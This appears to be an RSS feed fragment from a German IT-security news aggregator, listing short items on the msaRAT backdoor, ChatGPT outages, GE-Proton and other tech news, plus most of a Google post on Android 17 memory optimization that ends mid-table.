<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2024/11/Google-Chrome-Quelle-2lttgamingroom-Shutterstock-2428301311-1920.jpg" class="attachment-full size-full wp-post-image" alt="Google Chrome" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2024/11/Google-Chrome-Quelle-2lttgamingroom-Shutterstock-2428301311-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2024/11/Google-Chrome-Quelle-2lttgamingroom-Shutterstock-2428301311-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2024/11/Google-Chrome-Quelle-2lttgamingroom-Shutterstock-2428301311-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2024/11/Google-Chrome-Quelle-2lttgamingroom-Shutterstock-2428301311-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2024/11/Google-Chrome-Quelle-2lttgamingroom-Shutterstock-2428301311-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Malware msaRAT leitet Datenverkehr über Chrome um 5"></p>
    Die Ransomware-Gruppe Chaos setzt die neue Malware msaRAT ein. Sie leitet ihren Datenverkehr über Headless-Browser und Cloudflare-Dienste um.

<p>Tags: <a href="https://www.it-daily.net/thema/chrome">#Chrome</a> | <a href="https://www.it-daily.net/thema/cyber-crime">#Cyber Crime</a> | <a href="https://www.it-daily.net/thema/malware">#Malware</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Malware msaRAT leitet Datenverkehr über Chrome um - it-daily.net]]></title>
<description><![CDATA[Sicherheitsforscher von Cisco Talos haben eine neue Backdoor namens msaRAT analysiert, die von der Erpressungstrojaner-Gruppe Chaos eingesetzt wird.]]></description>
<link>https://tsecurity.de/de/3694276/it-security-nachrichten/malware-msarat-leitet-datenverkehr-ueber-chrome-um-it-dailynet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694276/it-security-nachrichten/malware-msarat-leitet-datenverkehr-ueber-chrome-um-it-dailynet/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sicherheitsforscher von Cisco Talos haben eine neue Backdoor namens msaRAT analysiert, die von der Erpressungstrojaner-Gruppe Chaos eingesetzt wird.]]></content:encoded>
</item>
<item>
<title><![CDATA[msaRAT: Chaos-Ransomware-Gruppe missbraucht Browser für verdeckte Kommunikation]]></title>
<description><![CDATA[Sicherheitsforscher von Cisco Talos haben eine neue, in der Programmiersprache Rust geschriebene Schadsoftware namens msaRAT identifiziert, ...]]></description>
<link>https://tsecurity.de/de/3694269/it-security-nachrichten/msarat-chaos-ransomware-gruppe-missbraucht-browser-fuer-verdeckte-kommunikation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694269/it-security-nachrichten/msarat-chaos-ransomware-gruppe-missbraucht-browser-fuer-verdeckte-kommunikation/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sicherheitsforscher von Cisco Talos haben eine neue, in der Programmiersprache Rust geschriebene Schadsoftware namens msaRAT identifiziert, ...]]></content:encoded>
</item>
<item>
<title><![CDATA[4 little-known Google Calendar tricks I use to plan my workweek - and save time]]></title>
<description><![CDATA[If you're only using Google Calendar to track events, you're missing some of its most useful features.]]></description>
<link>https://tsecurity.de/de/3694172/it-security-nachrichten/4-little-known-google-calendar-tricks-i-use-to-plan-my-workweek-and-save-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694172/it-security-nachrichten/4-little-known-google-calendar-tricks-i-use-to-plan-my-workweek-and-save-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you're only using Google Calendar to track events, you're missing some of its most useful features.]]></content:encoded>
</item>
<item>
<title><![CDATA[Teenage Engineering’s unique music machines are 30 percent off]]></title>
<description><![CDATA[With elements from synthesizers, loopers, and effects pedals, Teenage Engineering’s devices lie somewhere between musical instrument and modern art. These grooveboxes, as they’re often called, are capable of helping you produce songs in real time from a single unit, with an eye-catching design la...]]></description>
<link>https://tsecurity.de/de/3694089/it-nachrichten/teenage-engineerings-unique-music-machines-are-30-percent-off/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694089/it-nachrichten/teenage-engineerings-unique-music-machines-are-30-percent-off/</guid>
<pubDate>Sat, 25 Jul 2026 17:17:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With elements from synthesizers, loopers, and effects pedals, Teenage Engineering’s devices lie somewhere between musical instrument and modern art. These grooveboxes, as they’re often called, are capable of helping you produce songs in real time from a single unit, with an eye-catching design language. A wide swath of the brand’s offerings are 30 percent off […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Assetto Corsa EVO: Update 0.8.1 mit verschiedenen Fehlerkorrekturen - News - speedmaniacs.com]]></title>
<description><![CDATA[-server: added document folder to windows server, revamped server-backend-client data exchange for sha with more UI info on missing cars, fixed ...]]></description>
<link>https://tsecurity.de/de/3693915/windows-server/assetto-corsa-evo-update-081-mit-verschiedenen-fehlerkorrekturen-news-speedmaniacscom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693915/windows-server/assetto-corsa-evo-update-081-mit-verschiedenen-fehlerkorrekturen-news-speedmaniacscom/</guid>
<pubDate>Sat, 25 Jul 2026 14:37:39 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[-server: added document folder to <b>windows server</b>, revamped server-backend-client data exchange for sha with more UI info on missing cars, fixed ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Too many concurrent requests when opening ChatGPT? You’re not alone]]></title>
<description><![CDATA[ChatGPT users are seeing a “Too many concurrent requests” error while trying to open the chatbot or submit a prompt. The problem is part of a wider service disruption affecting users worldwide.



ChatGPT is currently facing an outage



OpenAI’s official status page confirms elevated error rates...]]></description>
<link>https://tsecurity.de/de/3693856/ios-mac-os/too-many-concurrent-requests-when-opening-chatgpt-youre-not-alone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693856/ios-mac-os/too-many-concurrent-requests-when-opening-chatgpt-youre-not-alone/</guid>
<pubDate>Sat, 25 Jul 2026 13:19:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT users are seeing a “Too many concurrent requests” error while trying to open the chatbot or submit a prompt. The problem is part of a wider service disruption affecting users worldwide.



ChatGPT is currently facing an outage



OpenAI’s official status page confirms elevated error rates across ChatGPT, its APIs, and Codex. The company says it is investigating the issue, although it has not yet shared the exact cause or a recovery timeline.







Users have also reported login failures, missing conversation history, delayed responses, and prompts that fail to send. Reports appear to be coming from several regions, including India and the United States.







The concurrent requests message does not necessarily mean you opened too many chats. During an outage, overloaded servers can display the same error across many accounts.



For now, avoid repeatedly refreshing the page. Check OpenAI’s status page and try ChatGPT again after the service stabilizes.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Confirms ChatGPT is Down Worldwide]]></title>
<description><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. M...]]></description>
<link>https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</guid>
<pubDate>Sat, 25 Jul 2026 11:49:11 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. Most of what people are describing points to the login or authentication layer rather than the chat model itself.



Users say they get stuck on a loading screen, get signed out in the middle of a conversation, or cannot open their older chats at all. Both free and paid ChatGPT accounts seem to be affected, and the trouble is not limited to the website. Some people on the mobile app have run into the same login problems.



Common symptoms being reported include:




Failed logins or repeated authentication errors



Chat history that will not load



Sessions ending without warning



"Service unavailable" messages when sending a prompt




OpenAI's Response So Far



OpenAI's status page lists the affected services as under investigation. At the same time, the page has flipped between showing an active issue and showing normal operation while engineers work through the fix. This kind of mismatch is common during login related outages, since the sign in system can break down even while the core chatbot keeps running fine underneath it.



This is not the first rough week for ChatGPT. Just two days earlier, on July 23, OpenAI dealt with a separate outage affecting ChatGPT, Codex, and its API that took close to 24 hours to fully resolve. With this new round of complaints landing so soon after that incident, users on social media have started asking why the service has been running into trouble so often lately.



If you cannot get into ChatGPT right now, a few small steps can help before you assume the worst:




Refresh the page, or fully close and reopen the app



Log out and log back in instead of just refreshing



Check status.openai.com for the latest update



Try the mobile app if the website will not load, or the other way around




OpenAI has not shared a root cause or a timeline for a fix yet, and this piece will be updated once more information comes in.]]></content:encoded>
</item>
<item>
<title><![CDATA[GE-Proton 11-3 brings better OptiScaler integration, AMD FSR4 improvements and lots of game fixes]]></title>
<description><![CDATA[GE-Proton 11-3 (and 11-2 just before) is a huge release for the popular compatibility layer for SteamOS / Linux.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3693713/linux-tipps/ge-proton-11-3-brings-better-optiscaler-integration-amd-fsr4-improvements-and-lots-of-game-fixes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693713/linux-tipps/ge-proton-11-3-brings-better-optiscaler-integration-amd-fsr4-improvements-and-lots-of-game-fixes/</guid>
<pubDate>Sat, 25 Jul 2026 11:14:37 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[GE-Proton 11-3 (and 11-2 just before) is a huge release for the popular compatibility layer for SteamOS / Linux.<p><img src="https://www.gamingonlinux.com/uploads/tagline_gallery/ge-proton_gol2.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/ge-proton-11-3-brings-better-optiscaler-integration-amd-fsr4-improvements-and-lots-of-game-fixes/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
